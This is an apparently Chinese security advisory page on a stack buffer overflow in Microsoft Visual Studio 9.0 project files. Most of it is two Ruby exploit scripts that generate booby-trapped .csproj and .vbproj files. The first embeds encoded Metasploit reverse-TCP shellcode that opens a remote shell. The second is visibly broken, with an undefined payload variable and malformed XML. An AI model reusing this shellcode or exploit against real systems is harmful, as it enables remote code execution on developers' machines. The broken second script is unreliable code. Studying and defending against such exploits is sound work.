Microsoft Visual Studio项目文件栈缓冲区溢出漏洞

受影响系统：

Microsoft Visual Studio 9.0

描述：

BUGTRAQ ID: 46601

Microsoft Visual Studio（简称VS）是美国微软公司的开发工具套件系列产品。VS是一个基本完整的开发工具集，它包括了整个软件生命周期中所需要的大部分工具，如UML工具、代码管控工具、集成开发环境等等。所写的目标代码适用于微软支持的所有平台，包括Microsoft Windows、Windows Mobile、Windows CE、.NET Framework、.NET Compact Framework和Microsoft Silverlight。

Microsoft Visual Studio在对用户提供的输入进行边界检查时存在远程栈缓冲区溢出漏洞，远程攻击者可利用此漏洞以当前用户权限执行任意代码。

<*来源：KedAns-Dz
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

KedAns-Dz （）提供了如下测试方法：

#!/usr/bin/ruby

###
# Title : MS Visual Studio 9.0 (.csproj) Stack Buffer Overflow
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com
# Home : HMD/AM (30008/04300) – Algeria -(00213555248701)
# Twitter page : twitter.com/kedans
# Tested on : windows XP SP3 Français & Arabic
# Target : Microsoft Visual Studio v 9.0 / CSharp Project /
###

# Note : This Exploit BOF is Special Greets to Member ‘ Overfolw ‘ From sec4ever.com

#START SYSTEM /root@MSdos/ :
system("title KedAns-Dz")
system("color 1e")
system("cls")
def Usage()
     puts "\n\n\n[!] MS Visual Studio 9.0 (.csproj) \n"
     puts "[!] Stack Buffer Overflow \n"
     puts "[!] Author: KedAns-Dz \n"
     puts "[!] E-mail: ked-h@hotmail.com \n"
end

# Payload Parameter (http://www.metasploit.com)
# windows/shell_reverse_tcp – 739 bytes
# Encoder: x86/alpha_mixed
# LHOST=127.0.0.1, LPORT=4444, ReverseConnectRetries=5, =>
payload =
"\x56\x54\x58\x36\x33\x30\x56\x58\x48\x34\x39\x48\x48\x48" +
"\x50\x68\x59\x41\x41\x51\x68\x5a\x59\x59\x59\x59\x41\x41" +
"\x51\x51\x44\x44\x44\x64\x33\x36\x46\x46\x46\x46\x54\x58" +
"\x56\x6a\x30\x50\x50\x54\x55\x50\x50\x61\x33\x30\x31\x30" +
"\x38\x39\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" +
"\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41" +
"\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42" +
"\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x4d" +
"\x38\x4e\x69\x47\x70\x43\x30\x45\x50\x45\x30\x4d\x59\x4a" +
"\x45\x45\x61\x48\x52\x43\x54\x4e\x6b\x50\x52\x50\x30\x4c" +
"\x4b\x51\x42\x46\x6c\x4e\x6b\x46\x32\x46\x74\x4c\x4b\x50" +
"\x72\x46\x48\x46\x6f\x4f\x47\x43\x7a\x51\x36\x46\x51\x49" +
"\x6f\x46\x51\x4f\x30\x4e\x4c\x47\x4c\x43\x51\x43\x4c\x43" +
"\x32\x44\x6c\x47\x50\x4f\x31\x48\x4f\x46\x6d\x43\x31\x49" +
"\x57\x48\x62\x4c\x30\x51\x42\x42\x77\x4c\x4b\x50\x52\x42" +
"\x30\x4c\x4b\x43\x72\x45\x6c\x46\x61\x4a\x70\x4c\x4b\x43" +
"\x70\x43\x48\x4e\x65\x4b\x70\x42\x54\x50\x4a\x45\x51\x48" +
"\x50\x46\x30\x4e\x6b\x50\x48\x45\x48\x4e\x6b\x51\x48\x51" +
"\x30\x45\x51\x48\x53\x48\x63\x47\x4c\x43\x79\x4e\x6b\x47" +
"\x44\x4e\x6b\x46\x61\x4b\x66\x50\x31\x4b\x4f\x44\x71\x4f" +
"\x30\x4e\x4c\x49\x51\x4a\x6f\x46\x6d\x46\x61\x4f\x37\x46" +
"\x58\x4d\x30\x42\x55\x4a\x54\x46\x63\x43\x4d\x4c\x38\x47" +
"\x4b\x51\x6d\x44\x64\x44\x35\x49\x72\x43\x68\x4c\x4b\x50" +
"\x58\x45\x74\x47\x71\x48\x53\x51\x76\x4e\x6b\x46\x6c\x42" +
"\x6b\x4c\x4b\x42\x78\x47\x6c\x45\x51\x48\x53\x4e\x6b\x45" +
"\x54\x4c\x4b\x47\x71\x48\x50\x4f\x79\x42\x64\x44\x64\x47" +
"\x54\x51\x4b\x51\x4b\x43\x51\x50\x59\x43\x6a\x46\x31\x4b" +
"\x4f\x4d\x30\x50\x58\x43\x6f\x43\x6a\x4c\x4b\x45\x42\x48" +
"\x6b\x4e\x66\x43\x6d\x42\x48\x50\x33\x44\x72\x45\x50\x43" +
"\x30\x51\x78\x42\x57\x42\x53\x46\x52\x43\x6f\x50\x54\x43" +
"\x58\x42\x6c\x44\x37\x44\x66\x45\x57\x49\x6f\x48\x55\x48" +
"\x38\x4c\x50\x47\x71\x45\x50\x47\x70\x47\x59\x4b\x74\x51" +
"\x44\x42\x70\x42\x48\x44\x69\x4d\x50\x42\x4b\x43\x30\x49" +
"\x6f\x48\x55\x50\x50\x42\x70\x50\x50\x42\x70\x47\x30\x42" +
"\x70\x43\x70\x50\x50\x43\x58\x48\x6a\x44\x4f\x49\x4f\x4d" +
"\x30\x49\x6f\x4b\x65\x4e\x69\x48\x47\x42\x48\x43\x4f\x45" +
"\x50\x43\x30\x47\x71\x43\x58\x43\x32\x45\x50\x44\x51\x43" +
"\x6c\x4e\x69\x4a\x46\x51\x7a\x42\x30\x51\x46\x43\x67\x42" +
"\x48\x4d\x49\x4e\x45\x51\x64\x51\x71\x49\x6f\x4e\x35\x50" +
"\x68\x42\x43\x42\x4d\x42\x44\x47\x70\x4c\x49\x48\x63\x51" +
"\x47\x51\x47\x51\x47\x50\x31\x4b\x46\x51\x7a\x47\x62\x51" +
"\x49\x50\x56\x4d\x32\x49\x6d\x50\x66\x4f\x37\x42\x64\x46" +
"\x44\x45\x6c\x47\x71\x43\x31\x4c\x4d\x50\x44\x51\x34\x42" +
"\x30\x4a\x66\x43\x30\x43\x74\x50\x54\x42\x70\x43\x66\x43" +
"\x66\x51\x46\x47\x36\x46\x36\x42\x6e\x50\x56\x46\x36\x42" +
"\x73\x43\x66\x50\x68\x44\x39\x48\x4c\x47\x4f\x4b\x36\x4b" +
"\x4f\x48\x55\x4c\x49\x4b\x50\x50\x4e\x42\x76\x43\x76\x49" +
"\x6f\x50\x30\x42\x48\x43\x38\x4c\x47\x47\x6d\x43\x50\x49" +
"\x6f\x4e\x35\x4f\x4b\x4a\x50\x4d\x65\x4d\x72\x51\x46\x51" +
"\x78\x4d\x76\x4e\x75\x4f\x4d\x4d\x4d\x4b\x4f\x48\x55\x47" +
"\x4c\x46\x66\x43\x4c\x45\x5a\x4b\x30\x49\x6b\x49\x70\x43" +
"\x45\x45\x55\x4d\x6b\x51\x57\x44\x53\x43\x42\x42\x4f\x51" +
"\x7a\x47\x70\x46\x33\x4b\x4f\x49\x45\x41\x41" #_ End Payload _

# Parameter OverFlow =>
amt = "A" * 333 + "-"
bmt = "B" * 333 + "-"
cmt = "C" * 333
buff = amt + bmt + cmt # Buffer GID
ret = [0x000004b0].pack(‘V’) # Jump to ESP – from MSVS.ORDesigner.DslPackage.dll
junk = "\x4b" * 500 # junk
padd = "\x90" * 30 # Padding
# KedAns = [Payload_shell][RET: 0x000004b0][Padding][Junk]
KedAns = payload + ret + padd + junk

# Parameter Evil File =>
ked = %Q{<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="3.5">
  <PropertyGroup>

    <Configuration Condition=" ‘$(Configuration)’ == ” ">Debug</Configuration>

    <Platform Condition=" ‘$(Platform)’ == ” ">AnyCPU</Platform>

    <SchemaVersion>2.0</SchemaVersion>

    <ProjectGuid>{#{buff}}</ProjectGuid>

    <OutputType>Library</OutputType>

    <StartupObject>
     #{junk}
    </StartupObject>

  </PropertyGroup>

  <PropertyGroup Condition=" ‘$(Configuration)|$(Platform)’ == ‘Debug|AnyCPU’ ">

    <DebugSymbols>true</DebugSymbols>

    <Optimize>false</Optimize>

    <OutputPath>.\bin\Debug\</OutputPath>

  </PropertyGroup>
  <ItemGroup>
    <Reference Include="System"/>

    <Reference Include="#{KedAns}"/>

  </ItemGroup>

    <Compile Include="KedAns-Dz.cs">
      <SubType>Code</SubType>
    </Compile>
  </ItemGroup>
</Project>
} # _ End Parameter File _
# >> Creating …
evil = File.new("KedAns.csproj","wb") # Evil file (CSharp.Project)
evil.write(ked)
evil.close

#================[ Exploited By KedAns-Dz * HST-Dz * ]=========================
# GreetZ to : Islampard * Dr.Ride * Zaki.Eng * BadR0 * NoRo FouinY * Red1One
# XoreR * Mr.Dak007 * Hani * TOnyXED * Fox-Dz * Massinhou-Dz ++ all my friends ;
# > Algerians <  [D] HaCkerS-StreeT-Team [Z] > Hackers <
# My Friends on Facebook : Nayla Festa * Dz_GadlOl * MatmouR13 …all Others
# 4nahdha.com : TitO (Dr.Ride) *  MEN_dz * Mr.LAK (Administrator) * all members …
# sec4ever.com members Dz : =>>
#  Ma3sTr0-Dz * Indoushka * MadjiX * BrOx-Dz * JaGo-Dz … all Others
# hotturks.org : TeX * KadaVra … all Others
# Kelvin.Xgr ( kelvinx.net)
#===========================================================================

#!/usr/bin/ruby

###
# Title : MS Visual Studio 9.0 (.vbproj) Stack Buffer Overflow
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com
# Home : HMD/AM (30008/04300) – Algeria -(00213555248701)
# Twitter page : twitter.com/kedans
# Tested on : windows XP SP3 Français & Arabic
# Target : Microsoft Visual Studio v 9.0 / Basic Project /
###

# Note : This Exploit BOF is Special Greets to Member ‘ Overfolw ‘ From sec4ever.com

#START SYSTEM /root@MSdos/ :
system("title KedAns-Dz")
system("color 1e")
system("cls")
def Usage()
     puts "\n\n\n[!] MS Visual Studio 9.0 (.vbproj) \n"
     puts "[!] Stack Buffer Overflow \n"
     puts "[!] Author: KedAns-Dz \n"
     puts "[!] E-mail: ked-h@hotmail.com \n"
end

# Parameter Evil File =>
ked = %Q{<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="3.5">

<Configuration Condition=" ‘$(Configuration)’ == ” ">Debug</Configuration>

<Platform Condition=" ‘$(Platform)’ == ” ">AnyCPU</Platform>

<OutputType>Library</OutputType>

</PropertyGroup>

<DocumentationFile>Project1.xml</DocumentationFile>

</PropertyGroup>

<DebugSymbols>false</DebugSymbols>

<DefineDebug>false</DefineDebug>

<IncrementalBuild>false</IncrementalBuild>

<DocumentationFile>Project1.xml</DocumentationFile>

</PropertyGroup>

<Name>SystemnData</Name>

</Reference>

<Name>System.XML</Name>

   </Reference>

        <Reference Include="#{KedAns}">

<Name>KedAns</Name>

    </Reference>
        <Compile Include="KedAns-Dz.vb">
      <SubType>Form</SubType>
    </Compile>
  </ItemGroup>
  </Project>
} # _ End Parameter File _
# >> Creating …
evil = File.new("KedAns.vbproj","wb") # Evil file (VBasic.Project)
evil.write(ked)
evil.close

建议：

厂商补丁：

Microsoft
———
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.microsoft.com/technet/security/

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Microsoft Visual Studio项目文件栈缓冲区溢出漏洞

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